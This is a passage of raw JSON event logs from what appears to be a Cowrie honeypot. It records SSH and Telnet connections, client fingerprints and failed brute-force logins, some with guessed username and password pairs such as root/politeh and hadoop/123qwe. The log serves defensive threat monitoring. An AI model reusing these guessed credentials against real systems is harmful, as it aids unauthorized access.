{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:50.350073Z","src_ip":"144.91.108.61","session":"6e675b3e463c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge123","message":"login attempt [doge/doge123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:50.638116Z","src_ip":"144.91.108.61","session":"6e675b3e463c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.5","message":"Connection lost after 23.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:50.791412Z","src_ip":"8.210.75.243","session":"7a48ecb90d7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:51.737550Z","src_ip":"144.91.108.61","session":"6e675b3e463c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44082,"dst_ip":"10.17.0.5","dst_port":22,"session":"61fdfda55106","protocol":"ssh","message":"New connection: 8.210.75.243:44082 (10.17.0.5:22) [session: 61fdfda55106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:57.173010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:57.176916Z","src_ip":"8.210.75.243","session":"61fdfda55106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:55:59.839640Z","src_ip":"8.210.75.243","session":"61fdfda55106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:05.607364Z","src_ip":"8.210.75.243","session":"61fdfda55106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:06.814294Z","src_ip":"8.210.75.243","session":"61fdfda55106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.222.20.20","src_port":50908,"dst_ip":"10.17.0.5","dst_port":22,"session":"d626029f68ed","protocol":"ssh","message":"New connection: 201.222.20.20:50908 (10.17.0.5:22) [session: d626029f68ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:17.099524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:17.103186Z","src_ip":"201.222.20.20","session":"d626029f68ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:17.225179Z","src_ip":"201.222.20.20","session":"d626029f68ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq12wsx","message":"login attempt [ubuntu/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:17.748080Z","src_ip":"201.222.20.20","session":"d626029f68ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:18.871944Z","src_ip":"201.222.20.20","session":"d626029f68ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56182,"dst_ip":"10.17.0.5","dst_port":22,"session":"81127dea07a2","protocol":"ssh","message":"New connection: 8.210.75.243:56182 (10.17.0.5:22) [session: 81127dea07a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:26.068292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:26.071961Z","src_ip":"8.210.75.243","session":"81127dea07a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":51014,"dst_ip":"159.203.135.109","dst_port":22,"session":"307d3c5d8390","protocol":"ssh","message":"New connection: 103.27.238.114:51014 (159.203.135.109:22) [session: 307d3c5d8390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:34.388816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:34.398636Z","src_ip":"103.27.238.114","session":"307d3c5d8390","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:34.676738Z","src_ip":"103.27.238.114","session":"307d3c5d8390","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"politeh","message":"login attempt [root/politeh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:35.512512Z","src_ip":"103.27.238.114","session":"307d3c5d8390","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:56:36.793034Z","src_ip":"103.27.238.114","session":"307d3c5d8390","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfd710536c67","protocol":"telnet","message":"New connection: 170.64.224.25:35084 (159.203.135.109:23) [session: bfd710536c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:00.074462Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":37662,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0948f136262","protocol":"ssh","message":"New connection: 162.214.22.174:37662 (159.203.135.109:22) [session: c0948f136262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:06.494123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:06.497179Z","src_ip":"162.214.22.174","session":"c0948f136262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:06.585788Z","src_ip":"162.214.22.174","session":"c0948f136262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yerevan_armenia","password":"yerevan123","message":"login attempt [yerevan_armenia/yerevan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:06.853244Z","src_ip":"162.214.22.174","session":"c0948f136262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:09.981425Z","src_ip":"162.214.22.174","session":"c0948f136262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:10.057560Z","src_ip":"8.210.75.243","session":"5e3bb4f3ec08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.319230556488037,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:11.393540Z","src_ip":"170.64.224.25","session":"bfd710536c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":39948,"dst_ip":"10.17.0.5","dst_port":22,"session":"2faba6107141","protocol":"ssh","message":"New connection: 8.210.75.243:39948 (10.17.0.5:22) [session: 2faba6107141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:15.746423Z"}
{"eventid":"cowrie.session.closed","duration":115.33707880973816,"message":"Connection lost after 115 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:22.139828Z","src_ip":"170.64.224.25","session":"1c1baf2df1dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51424,"dst_ip":"10.17.0.5","dst_port":22,"session":"1640d20d49e1","protocol":"ssh","message":"New connection: 91.92.40.4:51424 (10.17.0.5:22) [session: 1640d20d49e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:26.140288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:26.142148Z","src_ip":"91.92.40.4","session":"1640d20d49e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:26.222335Z","src_ip":"91.92.40.4","session":"1640d20d49e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123qwe","message":"login attempt [hadoop/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:26.468599Z","src_ip":"91.92.40.4","session":"1640d20d49e1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:27.231842Z","src_ip":"8.210.75.243","session":"2faba6107141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:27.241342Z","src_ip":"8.210.75.243","session":"2faba6107141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:27.551057Z","src_ip":"91.92.40.4","session":"1640d20d49e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41946,"dst_ip":"159.203.135.109","dst_port":23,"session":"77aad53953b4","protocol":"telnet","message":"New connection: 170.64.224.25:41946 (159.203.135.109:23) [session: 77aad53953b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:27.974510Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45122,"dst_ip":"159.203.135.109","dst_port":23,"session":"18e2f1c2130b","protocol":"telnet","message":"New connection: 107.6.151.170:45122 (159.203.135.109:23) [session: 18e2f1c2130b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:28.693302Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":50830,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f22a4e8434c","protocol":"telnet","message":"New connection: 107.6.151.170:50830 (159.203.135.109:23) [session: 3f22a4e8434c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:34.988179Z"}
{"eventid":"cowrie.session.closed","duration":30.69819474220276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:57:59.391374Z","src_ip":"107.6.151.170","session":"18e2f1c2130b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53132939338684,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:03.505728Z","src_ip":"170.64.224.25","session":"77aad53953b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":33686,"dst_ip":"159.203.135.109","dst_port":22,"session":"51046a20c85e","protocol":"ssh","message":"New connection: 159.65.58.200:33686 (159.203.135.109:22) [session: 51046a20c85e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:19.794788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:58:19.932796Z","src_ip":"159.65.58.200","session":"51046a20c85e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-s